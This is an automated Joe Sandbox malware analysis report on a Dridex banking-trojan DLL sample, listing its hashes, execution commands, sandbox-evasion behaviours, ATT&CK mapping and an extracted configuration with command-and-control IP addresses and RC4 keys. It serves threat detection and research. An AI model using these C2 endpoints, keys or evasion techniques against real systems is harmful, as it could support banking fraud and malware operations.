Play interactive tour

Edit tour

Analysis Report CTkT1fRtQv

Overview

General Information

Sample Name:	CTkT1fRtQv (renamed file extension from none to dll)
Analysis ID:	392884
MD5:	304c6fb5258a065507a5ea8625fbf120
SHA1:	386f11c61362582fb431758483579cef18094043
SHA256:	ab022d18682f942315316baa838852c3010df92e79f645b37c7afd2b85623b2b
Tags:	40111Dridex
Infos:
Most interesting Screenshot:

Detection

Dridex Dropper

Score:	80
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Dridex dropper found

Found malware configuration

Yara detected Dridex unpacked file

C2 URLs / IPs found in malware configuration

Machine Learning detection for sample

Tries to delay execution (extensive OutputDebugStringW loop)

Tries to detect sandboxes / dynamic malware analysis system (file name check)

Abnormal high CPU Usage

Antivirus or Machine Learning detection for unpacked file

Contains functionality to call native functions

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to query locales information (e.g. system language)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

One or more processes crash

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Startup

System is w10x64

loaddll32.exe (PID: 7024 cmdline: loaddll32.exe 'C:\Users\user\Desktop\CTkT1fRtQv.dll' MD5: 542795ADF7CC08EFCF675D65310596E8)

cmd.exe (PID: 7040 cmdline: cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\CTkT1fRtQv.dll',#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

rundll32.exe (PID: 7068 cmdline: rundll32.exe 'C:\Users\user\Desktop\CTkT1fRtQv.dll',#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 5680 cmdline: rundll32.exe 'C:\Users\user\Desktop\CTkT1fRtQv.dll',ReadLogRecord MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

WerFault.exe (PID: 6424 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7024 -s 144 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

cleanup

Malware Configuration

Threatname: Dridex

{"Version": 40111, "C2 list": ["94.247.168.64:443", "159.203.93.122:8172", "50.116.27.97:2303"], "RC4 keys": ["VOw9c7u110XYjoFF2SzRWNcWNob7Sec1HxEVgBrFF", "5gZeCc8o5cQELWnF44Ik184W6MoZ25O98Rol7kPT2itFWvdxWiT70K4o4YnFUN4mL"]}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000003.00000002.913495696.00000000728A1000.00000020.00020000.sdmp	JoeSecurity_Dridex_1	Yara detected Dridex unpacked file	Joe Security
00000004.00000002.912730818.00000000728A1000.00000020.00020000.sdmp	JoeSecurity_Dridex_1	Yara detected Dridex unpacked file	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
3.2.rundll32.exe.728a0000.3.unpack	JoeSecurity_Dridex_1	Yara detected Dridex unpacked file	Joe Security
4.2.rundll32.exe.728a0000.3.unpack	JoeSecurity_Dridex_1	Yara detected Dridex unpacked file	Joe Security

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 4.2.rundll32.exe.728a0000.3.unpack

Malware Configuration Extractor: Dridex {"Version": 40111, "C2 list": ["94.247.168.64:443", "159.203.93.122:8172", "50.116.27.97:2303"], "RC4 keys": ["VOw9c7u110XYjoFF2SzRWNcWNob7Sec1HxEVgBrFF", "5gZeCc8o5cQELWnF44Ik184W6MoZ25O98Rol7kPT2itFWvdxWiT70K4o4YnFUN4mL"]}

Machine Learning detection for sample

Show sources

Source: CTkT1fRtQv.dll

Joe Sandbox ML: detected

Source: 1.2.loaddll32.exe.3a0000.0.unpack	Avira: Label: TR/ATRAPS.Gen2
Source: 3.2.rundll32.exe.25e0000.2.unpack	Avira: Label: TR/ATRAPS.Gen2
Source: 4.2.rundll32.exe.32a0000.2.unpack	Avira: Label: TR/ATRAPS.Gen2

Source: CTkT1fRtQv.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: CTkT1fRtQv.dll

Static PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: opengl32.pdb source: WerFault.exe, 00000007.00000003.736415453.0000000005138000.00000004.00000040.sdmp
Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 00000007.00000003.736445673.0000000005135000.00000004.00000040.sdmp
Source:	Binary string: wkernel32.pdb source: WerFault.exe, 00000007.00000003.736402143.0000000005161000.00000004.00000001.sdmp
Source:	Binary string: sechost.pdb source: WerFault.exe, 00000007.00000003.736408490.0000000005132000.00000004.00000040.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 00000007.00000003.736402143.0000000005161000.00000004.00000001.sdmp
Source:	Binary string: wgdi32full.pdbk source: WerFault.exe, 00000007.00000003.736445673.0000000005135000.00000004.00000040.sdmp
Source:	Binary string: msvcrt.pdb source: WerFault.exe, 00000007.00000003.736415453.0000000005138000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdbUGP source: rundll32.exe, 00000003.00000003.725254393.000000004B280000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000003.800213949.000000004B280000.00000004.00000001.sdmp
Source:	Binary string: wrpcrt4.pdb source: WerFault.exe, 00000007.00000003.736402143.0000000005161000.00000004.00000001.sdmp
Source:	Binary string: glu32.pdb source: WerFault.exe, 00000007.00000003.736415453.0000000005138000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdb source: rundll32.exe, 00000003.00000003.725254393.000000004B280000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000003.800213949.000000004B280000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.736402143.0000000005161000.00000004.00000001.sdmp
Source:	Binary string: ole32.pdb source: WerFault.exe, 00000007.00000003.736402143.0000000005161000.00000004.00000001.sdmp
Source:	Binary string: a[ojr^oCReportStore::Prune: MaxReportCount=%d MaxSizeInMb=%dRSDSwkernel32.pdb source: WerFault.exe, 00000007.00000002.744696261.00000000009A2000.00000004.00000010.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 00000007.00000003.736445673.0000000005135000.00000004.00000040.sdmp
Source:	Binary string: advapi32.pdb source: WerFault.exe, 00000007.00000003.736415453.0000000005138000.00000004.00000040.sdmp
Source:	Binary string: wsspicli.pdb source: WerFault.exe, 00000007.00000003.736402143.0000000005161000.00000004.00000001.sdmp
Source:	Binary string: fffp4.pdb source: WerFault.exe, 00000007.00000003.736402143.0000000005161000.00000004.00000001.sdmp, CTkT1fRtQv.dll
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 00000007.00000003.736439956.0000000005130000.00000004.00000040.sdmp
Source:	Binary string: wgdi32.pdbk source: WerFault.exe, 00000007.00000003.736445673.0000000005135000.00000004.00000040.sdmp
Source:	Binary string: cryptbase.pdb source: WerFault.exe, 00000007.00000003.736402143.0000000005161000.00000004.00000001.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 00000007.00000003.731326063.0000000002FA8000.00000004.00000001.sdmp
Source:	Binary string: sechost.pdbk source: WerFault.exe, 00000007.00000003.736408490.0000000005132000.00000004.00000040.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 00000007.00000003.736415453.0000000005138000.00000004.00000040.sdmp
Source:	Binary string: wkernelbase.pdb( source: WerFault.exe, 00000007.00000003.731326063.0000000002FA8000.00000004.00000001.sdmp
Source:	Binary string: bcryptprimitives.pdb source: WerFault.exe, 00000007.00000003.736408490.0000000005132000.00000004.00000040.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 00000007.00000003.736439956.0000000005130000.00000004.00000040.sdmp
Source:	Binary string: combase.pdb source: WerFault.exe, 00000007.00000003.736402143.0000000005161000.00000004.00000001.sdmp
Source:	Binary string: wkernel32.pdb( source: WerFault.exe, 00000007.00000003.731124198.0000000002FA2000.00000004.00000001.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 00000007.00000003.736402143.0000000005161000.00000004.00000001.sdmp
Source:	Binary string: bcryptprimitives.pdbk source: WerFault.exe, 00000007.00000003.736408490.0000000005132000.00000004.00000040.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 00000007.00000003.736439956.0000000005130000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdb( source: WerFault.exe, 00000007.00000003.732014556.0000000002F9C000.00000004.00000001.sdmp

Networking:

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor	IPs: 94.247.168.64:443
Source: Malware configuration extractor	IPs: 159.203.93.122:8172
Source: Malware configuration extractor	IPs: 50.116.27.97:2303

Source: Joe Sandbox View	IP Address: 159.203.93.122 159.203.93.122
Source: Joe Sandbox View	IP Address: 50.116.27.97 50.116.27.97
Source: Joe Sandbox View	IP Address: 94.247.168.64 94.247.168.64

Source: Joe Sandbox View	ASN Name: DIGITALOCEAN-ASNUS DIGITALOCEAN-ASNUS
Source: Joe Sandbox View	ASN Name: LINODE-APLinodeLLCUS LINODE-APLinodeLLCUS
Source: Joe Sandbox View	ASN Name: GLESYS-ASSE GLESYS-ASSE

Source: CTkT1fRtQv.dll

String found in binary or memory: http://ansicon.adoxa.vze.com/6

E-Banking Fraud:

Dridex dropper found

Show sources

Source: Initial file

Signature Results: Dridex dropper behavior

Yara detected Dridex unpacked file

Show sources

Source: Yara match	File source: 00000003.00000002.913495696.00000000728A1000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.912730818.00000000728A1000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 3.2.rundll32.exe.728a0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.728a0000.3.unpack, type: UNPACKEDPE

Source: C:\Windows\SysWOW64\rundll32.exe

Process Stats: CPU usage > 98%

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_728B2790 NtAllocateVirtualMemory,	3_2_728B2790
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_728B218C NtDelayExecution,	3_2_728B218C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_728ABC00 NtClose,	3_2_728ABC00

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_728B07CC	3_2_728B07CC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_728A1494	3_2_728A1494
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_728B92DC	3_2_728B92DC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_728B14D8	3_2_728B14D8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_728A84E4	3_2_728A84E4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_728AA5A4	3_2_728AA5A4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_728A9144	3_2_728A9144

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7024 -s 144

Source: CTkT1fRtQv.dll

Binary or memory string: OriginalFilenameANSI32.dll0 vs CTkT1fRtQv.dll

Source: CTkT1fRtQv.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: CTkT1fRtQv.dll

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal80.bank.troj.evad.winDLL@8/4@0/3

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7024

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\WERC8DD.tmp

Jump to behavior

Source: CTkT1fRtQv.dll

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\CTkT1fRtQv.dll',#1

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe 'C:\Users\user\Desktop\CTkT1fRtQv.dll'
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\CTkT1fRtQv.dll',#1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\CTkT1fRtQv.dll',#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\CTkT1fRtQv.dll',ReadLogRecord
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7024 -s 144
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\CTkT1fRtQv.dll',#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\CTkT1fRtQv.dll',ReadLogRecord	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\CTkT1fRtQv.dll',#1	Jump to behavior

Source: CTkT1fRtQv.dll

Static PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source: CTkT1fRtQv.dll

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: opengl32.pdb source: WerFault.exe, 00000007.00000003.736415453.0000000005138000.00000004.00000040.sdmp
Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 00000007.00000003.736445673.0000000005135000.00000004.00000040.sdmp
Source:	Binary string: wkernel32.pdb source: WerFault.exe, 00000007.00000003.736402143.0000000005161000.00000004.00000001.sdmp
Source:	Binary string: sechost.pdb source: WerFault.exe, 00000007.00000003.736408490.0000000005132000.00000004.00000040.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 00000007.00000003.736402143.0000000005161000.00000004.00000001.sdmp
Source:	Binary string: wgdi32full.pdbk source: WerFault.exe, 00000007.00000003.736445673.0000000005135000.00000004.00000040.sdmp
Source:	Binary string: msvcrt.pdb source: WerFault.exe, 00000007.00000003.736415453.0000000005138000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdbUGP source: rundll32.exe, 00000003.00000003.725254393.000000004B280000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000003.800213949.000000004B280000.00000004.00000001.sdmp
Source:	Binary string: wrpcrt4.pdb source: WerFault.exe, 00000007.00000003.736402143.0000000005161000.00000004.00000001.sdmp
Source:	Binary string: glu32.pdb source: WerFault.exe, 00000007.00000003.736415453.0000000005138000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdb source: rundll32.exe, 00000003.00000003.725254393.000000004B280000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000003.800213949.000000004B280000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.736402143.0000000005161000.00000004.00000001.sdmp
Source:	Binary string: ole32.pdb source: WerFault.exe, 00000007.00000003.736402143.0000000005161000.00000004.00000001.sdmp
Source:	Binary string: a[ojr^oCReportStore::Prune: MaxReportCount=%d MaxSizeInMb=%dRSDSwkernel32.pdb source: WerFault.exe, 00000007.00000002.744696261.00000000009A2000.00000004.00000010.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 00000007.00000003.736445673.0000000005135000.00000004.00000040.sdmp
Source:	Binary string: advapi32.pdb source: WerFault.exe, 00000007.00000003.736415453.0000000005138000.00000004.00000040.sdmp
Source:	Binary string: wsspicli.pdb source: WerFault.exe, 00000007.00000003.736402143.0000000005161000.00000004.00000001.sdmp
Source:	Binary string: fffp4.pdb source: WerFault.exe, 00000007.00000003.736402143.0000000005161000.00000004.00000001.sdmp, CTkT1fRtQv.dll
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 00000007.00000003.736439956.0000000005130000.00000004.00000040.sdmp
Source:	Binary string: wgdi32.pdbk source: WerFault.exe, 00000007.00000003.736445673.0000000005135000.00000004.00000040.sdmp
Source:	Binary string: cryptbase.pdb source: WerFault.exe, 00000007.00000003.736402143.0000000005161000.00000004.00000001.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 00000007.00000003.731326063.0000000002FA8000.00000004.00000001.sdmp
Source:	Binary string: sechost.pdbk source: WerFault.exe, 00000007.00000003.736408490.0000000005132000.00000004.00000040.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 00000007.00000003.736415453.0000000005138000.00000004.00000040.sdmp
Source:	Binary string: wkernelbase.pdb( source: WerFault.exe, 00000007.00000003.731326063.0000000002FA8000.00000004.00000001.sdmp
Source:	Binary string: bcryptprimitives.pdb source: WerFault.exe, 00000007.00000003.736408490.0000000005132000.00000004.00000040.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 00000007.00000003.736439956.0000000005130000.00000004.00000040.sdmp
Source:	Binary string: combase.pdb source: WerFault.exe, 00000007.00000003.736402143.0000000005161000.00000004.00000001.sdmp
Source:	Binary string: wkernel32.pdb( source: WerFault.exe, 00000007.00000003.731124198.0000000002FA2000.00000004.00000001.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 00000007.00000003.736402143.0000000005161000.00000004.00000001.sdmp
Source:	Binary string: bcryptprimitives.pdbk source: WerFault.exe, 00000007.00000003.736408490.0000000005132000.00000004.00000040.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 00000007.00000003.736439956.0000000005130000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdb( source: WerFault.exe, 00000007.00000003.732014556.0000000002F9C000.00000004.00000001.sdmp

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_728AF744 push esi; mov dword ptr [esp], 00000000h

3_2_728AF745

Source: initial sample

Static PE information: section name: .text entropy: 7.55877156847

Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Tries to delay execution (extensive OutputDebugStringW loop)

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe

Section loaded: OutputDebugStringW count: 833

Tries to detect sandboxes / dynamic malware analysis system (file name check)

Show sources

Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\testapp.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Section loaded: \KnownDlls32\testapp.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Section loaded: \KnownDlls32\testapp.exe	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Window / User API: threadDelayed 524

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_728B07CC GetTokenInformation,GetSystemInfo,GetTokenInformation,

3_2_728B07CC

Source: C:\Windows\System32\loaddll32.exe

Thread delayed: delay time: 120000

Jump to behavior

Source: WerFault.exe, 00000007.00000002.745448196.0000000004E80000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: WerFault.exe, 00000007.00000002.745448196.0000000004E80000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: WerFault.exe, 00000007.00000002.745448196.0000000004E80000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: WerFault.exe, 00000007.00000002.745448196.0000000004E80000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_728A6DC8 GetUserNameW,MessageBoxW,GetLastError,CreateFileA,DebugBreak,FlushFileBuffers,FreeEnvironmentStringsA,GetConsoleOutputCP,GetEnvironmentStrings,GetLocaleInfoA,GetStartupInfoA,GetStringTypeA,HeapValidate,IsBadReadPtr,LCMapStringA,LoadLibraryA,OutputDebugStringA,

3_2_728A6DC8

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_728B3060 RtlAddVectoredExceptionHandler,

3_2_728B3060

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\CTkT1fRtQv.dll',#1

Jump to behavior

Source: rundll32.exe, 00000003.00000002.913329962.0000000002FE0000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.912044379.00000000038C0000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: rundll32.exe, 00000003.00000002.913329962.0000000002FE0000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.912044379.00000000038C0000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: rundll32.exe, 00000003.00000002.913329962.0000000002FE0000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.912044379.00000000038C0000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: rundll32.exe, 00000003.00000002.913329962.0000000002FE0000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.912044379.00000000038C0000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: GetUserNameW,MessageBoxW,GetLastError,CreateFileA,DebugBreak,FlushFileBuffers,FreeEnvironmentStringsA,GetConsoleOutputCP,GetEnvironmentStrings,GetLocaleInfoA,GetStartupInfoA,GetStringTypeA,HeapValidate,IsBadReadPtr,LCMapStringA,LoadLibraryA,OutputDebugStringA,

3_2_728A6DC8

Source: C:\Windows\SysWOW64\rundll32.exe

3_2_728A6DC8

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	Path Interception	Process Injection12	Virtualization/Sandbox Evasion21	OS Credential Dumping	Security Software Discovery111	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Process Injection12	LSASS Memory	Process Discovery1	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Application Layer Protocol1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information2	Security Account Manager	Virtualization/Sandbox Evasion21	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Steganography	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Rundll321	NTDS	Application Window Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing3	LSA Secrets	Account Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	System Owner/User Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	System Information Discovery13	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
CTkT1fRtQv.dll	100%	Joe Sandbox ML

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
1.2.loaddll32.exe.3a0000.0.unpack	100%	Avira	TR/ATRAPS.Gen2	Download File
3.2.rundll32.exe.25e0000.2.unpack	100%	Avira	TR/ATRAPS.Gen2	Download File
4.2.rundll32.exe.32a0000.2.unpack	100%	Avira	TR/ATRAPS.Gen2	Download File

Domains

No Antivirus matches

URLs

No Antivirus matches

Domains and IPs

Contacted Domains

No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://ansicon.adoxa.vze.com/6	CTkT1fRtQv.dll	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
159.203.93.122	unknown	United States	14061	DIGITALOCEAN-ASNUS	true
50.116.27.97	unknown	United States	63949	LINODE-APLinodeLLCUS	true
94.247.168.64	unknown	Sweden	43948	GLESYS-ASSE	true

General Information

Joe Sandbox Version:	31.0.0 Emerald
Analysis ID:	392884
Start date:	19.04.2021
Start time:	23:39:31
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 6m 33s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	CTkT1fRtQv (renamed file extension from none to dll)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal80.bank.troj.evad.winDLL@8/4@0/3
EGA Information:	Failed
HDC Information:	Successful, ratio: 53.5% (good quality ratio 50.6%) Quality average: 80% Quality standard deviation: 27.5%
HCA Information:	Successful, ratio: 84% Number of executed functions: 24 Number of non-executed functions: 7
Cookbook Comments:	Adjust boot time Enable AMSI
Warnings:	Show All Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, WerFault.exe, svchost.exe VT rate limit hit for: /opt/package/joesandbox/database/analysis/392884/sample/CTkT1fRtQv.dll

